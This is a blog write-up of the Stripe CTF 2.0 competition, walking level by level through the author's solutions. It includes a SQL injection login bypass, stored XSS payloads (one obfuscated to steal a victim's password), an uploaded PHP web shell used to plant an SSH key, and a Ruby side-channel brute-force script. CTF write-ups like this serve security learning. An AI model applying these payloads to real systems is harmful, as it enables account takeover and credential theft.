Stripe-CTF 2.0

I managed to finish the Stripe CTF with 18 hours to spare and placed no. 702. I’m pretty happy with the result considering how little time I actually spent on it! My progress can be found here and you can see when I took days off!

Overall the competition was really enjoyable and the final hangout in the irc channel while my program was breaking the flag really made me feel part of the community.

I won’t publish this until the end of the deadline, but I’ll try to remember how I broke through each level and give the code I used:

Level 0

Very simple! A beginner SQL injection attack which leveraged the following line in the code:

var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
db.all(query, namespace, function(err, secrets) {
...

This essentially put namespace into the ‘?’ of the statement. My setting namespace to a wildcard (‘%’) the page dumped its data and the password to the next level.

Level 1

The task for this level was to guess a combination that was defined in a hidden file (“combination.txt” or similar) which would then unlock “password.txt” and output to a web page. The code which read in the combination looked like:

extract($_GET);
if (isset($attempt)) {
  $combination = trim(file_get_contents($filename));
    if ($attempt === $combination) {
      ...

The key thing I could exploit here was “extract($_GET)” which just created variables for what ever was in the GET params with no checks. Simply passing “&filename=&attempt=” as params got me past the if statement and the password was outputted.

Level 2

This level was referred back again and again, as you could upload files to it and execute code from a level02-*.stripe-stf.com domain. The idea was to get the contents of the file password.txt which was not accessible from the webserver. Uploading a .php file which read the contents of the file and echoed it worked by just browsing to “/uploads/getfile.php”

Level 3

This was the first level which was hard! I’d never really done a proper SQL injection before and it was quite satisfying to get working. The SQL injection point was:

query = """SELECT id, password_hash, salt FROM users
          WHERE username = '{0}' LIMIT 1""".format(username)

which meant that I was stuck with the start of the statement regardless, and the python-sql link didn’t allow multiple statements. I read up on SQL attacks and ended up using a combination of UNION and SELECT AS in order to inject my own data into the response. However, the only thing I could inject was an id, password_hash, and a salt. The id allowed me to spoof a user, and I could determine what my hash should be given a known salt. My injection was

' union select 1 as 'id', '961b6dd3ede3cb8ecbaacbd68de040cd78eb2ed5889130cceb4c49268ea4d506' as 'password_hash', 'a' as salt ; --

Which made the proper request to the database return nothing, and then I combined it with my own data, which was an id for 1, the SHA256 hash of “aa”, and a salt of a.

Putting the above in the username field and setting my password to ‘a’ I got authenticated. Then I just changed ids between 1-3 until I got the correct user.

N.B The secrets for the other users, which claimed to be either the solution to P=NP, and a plan for a perpetual motion device seemed to be generated from scigen

Level 4

This level was weird, and was  a JavaScript injection attack. The given website had a simple concept: users passed karma between each other. However, to show that they really trusted the user they were giving karma to, your password was shown to people who gave you karma. There was a system generated user called ‘karma_fountain’ whose password for the code to unlock the next level.

The inject route was: Set your password to some JavaScript, send karma to your prey, when they logon the JavaScript would execute. Luckily, karma_fountain logged in every minute and my password was set to (wrapped in script tags):

$.post('/user-izwsyuhfyt/transfer', { to: "karma", amount: "1"});

Level 5

This was black magic. It was solved near accidentally and then inspected to work out why.

Essentially you had to trick the system to think that it was receiving a command which solved the regex:

/[^w]AUTHENTICATED[^w]*$/

.However, the command had to be returned from a stripe-ctf domain, and to get the code the system had to think it came from a level5.stripe-ctf domain.

Using level 2, I uploaded a .php (.txt was forbidden in the webserver rules) which just echoed ” AUTHENTICATED”, and passing the address for that got me authenticated as a level02 domain. Now all I needed was to get it to authenticate as level05.

In the end, the url i gave it was itself, with the post parameters it needed for level2 in the get params.  Essentially this is what happened:

  1. Level5 posted to itself with a domain of level5.* and get params for level2 auth
  2. From this post the level2 auth were collected by the post param get functions
  3. Authed as level2
  4. Authed as level5

BLACK MAGIC

Level 6

This level was incredibly fiddly, but FireBug really helped with it. Essentially it was a blogging site, and there was an injection point in the blogroll. However, the database had a “safeInsert” method which dropped any data which had an apostrophe or quote in it. This just made it awkward.

The site had a “/user_info” page which a user could view their unsanitized user and password. The user which I needed to get the password from apparently has quotes and apostrophes in its password, so I also needed to sanitize them before getting them out of the system. The only way to do that would be to make my prey post their password.

So the exploit work flow is:

  1. GET /user_info
  2. Strip password and convert to character code
  3. POST this to /ajax/posts with a scraped ‘_csrf’ token to authenticate

This had to be done with no quotes or apostrophes so any strings were generated using String.fromCharCode(). Here’s the formatted exploit code I used:

$.get(String.fromCharCode(117,115,101,114,95,105,110,102,111), 
  function(response) { 
    var a = $(String.fromCharCode(60,100,105,118,47,62)).html(response).find(String.fromCharCode(46,115,112,97,110,49,50,32,116,100)).text();
    var u; 
    for(i=0;i<a.length;i++){u += String.fromCharCode(32) + a.charCodeAt(i)} 
    $.post( String.fromCharCode(97,106,97,120,47,112,111,115,116,115), 
      { 
        title: String.fromCharCode(88,83,83), 
        body: u, 
        _csrf: $(String.fromCharCode(102,111,114,109,35,110,101,119,95,112,111,115,116,32,105,110,112,117,116))[0].value 
      }); 
  } 
);

Level 7

I was given an API to a “WaffleCopter” service and had to request a premium waffle in order to get the password. I was not a premium user. Each request was signed with a SHA1 hash. They could be replayed.

After googling for SHA1 vulnerabilities and hanging around in the channel I discovered that there was a padding vulnerability in SHA1 and that were was a handy python script which would do all the work for you.

Combining this tool with a web request, I was able to use an old request from user 2 who ordered a “dream” premium waffle, add “&waffle=leige” to the end of the query and the magic python script worked out padding that got me the same signature as the original request!

Level 8

This was incredible and a nice mix of frustrating, hard, and madness.

Essentially: The flag was a 12 digit number, it was kept by a program which then split the password into 4 chunks and were held by separate instances. You interrogated the main instance of the passwordDb and it would ask the chunks if it was correct. the service would then reply {success: false/true}. You could also pass it a “webhook” which would get the results rather than the curl/browser call.

The server also only accepted data from a *.stripe-ctf.com domain.

So, first problem, I needed to get that password: The chunking was an advantage, as if I was brute forcing individual chunks I would only need a 10^3 search space 4 times, rather than 1 10^12 search space. this made brute forcing practical. While on a local instance of the server I could interrogate the chunk_servers individually, on the level8 server I did not have that option, so I needed the go through the primary_server.

Due to reflection magic, when a webhook is used and a chunk says a password chunk is wrong, it directly tells the webhook true/false. And the port which is used is dependent upon which chunk is replying! A port difference (from the port of your last request) of 2 meant chunk 1 had rejected your password, 3 meant chunk 2, and so on.

This gave a side channel style attack where you could sequentially increase each chunk depending on which chunk returned false. This meant you could break the flag in <= 4000 requests. Ace.

So, the second problem, getting access to a .stripe-ctf.com domain. The problem statement said that sshd was running.  Attempting the ssh in with your generated username failed due to no public key. Hmm. Uploading a php script with a simple form and a shell_exec command essentially gave me a poor mans command line and after much faffing was able to upload a public key, create a .ssh/ folder, and add my key to an authorized_keys file. Then I was in.

Running my cracker on the production server came up with some problems: the port differences were sometimes more than 5. I assume this was because of the amount of people on the server. I modified the program to ignore any weird port differences and keep trying until a sane one was found. The server was also INCREDIBLY SLOW. It took me about 3 and half hours to brute force my flag with the following:

require 'socket'
require 'net/https'

# Addresses of primary_server and webhook address
ENDPOINT = "https://level08-4.stripe-ctf.com/user-ianrhgpijr/"
WEBHOOK = "level02-3.stripe-ctf.com"

# current port and chunk values
last_port = -1
chunk1 = 0
chunk2 = 0
chunk3 = 0
chunk4 = 0

# Open webhook port
server = TCPServer.open(50001)
puts "[Server]:: listening on port #{server.addr[1]}"

# Until finished (practically forever on production)
while true

  # Start POST request to endpoint
  uri = URI(ENDPOINT)
  req = Net::HTTP::Post.new(uri.to_s)

  # Pad out to chunks of 3, with zeros
  password_chunk = "#{chunk1.to_s.rjust(3, '0')}#{chunk2.to_s.rjust(3, '0')}#{chunk3.to_s.rjust(3, '0')}#{chunk4.to_s.rjust(3, '0')}"

  # Build request
  req.body = "{"password": "#{password_chunk}", "webhooks": ["#{WEBHOOK}:#{server.addr[1]}"]}"

  http = Net::HTTP.new(uri.host, Net::HTTP.https_default_port)
  http.use_ssl = true 

  # Send request, we only really care about the response when it returns true
  http.start { |h| @response = h.request(req) }

  # Wait on webhook
  client = server.accept

  if (last_port != -1)

    # Get port difference
    diff = client.peeraddr[1] - last_port

    # Verbose is good on dodgy production server
    puts "[CHUNK]:: #{password_chunk} & port_diff = #{diff}"

    # Incerement chunks based on port difference
    if (diff == 2)
      chunk1 += 1

    elsif (diff == 3)
      chunk2 += 1

    elsif (diff == 4)
      chunk3 += 1

    elsif (diff == 5)
      chunk4 += 1
      # Last chunk, we can start checking the flag result!
      if (@response.body.include?('true'))
        # Woo got the flag
        puts "[FLAG]:: #{password_chunk}"
        break
      end
    end
  end
  last_port = client.peeraddr[1]

  client.close
end

Conclusions

All in all it was a brilliant competition to spend hours in distraction with. Looking forward to the next one (and my free t-shirt).

Leave a Reply

Your email address will not be published. Required fields are marked *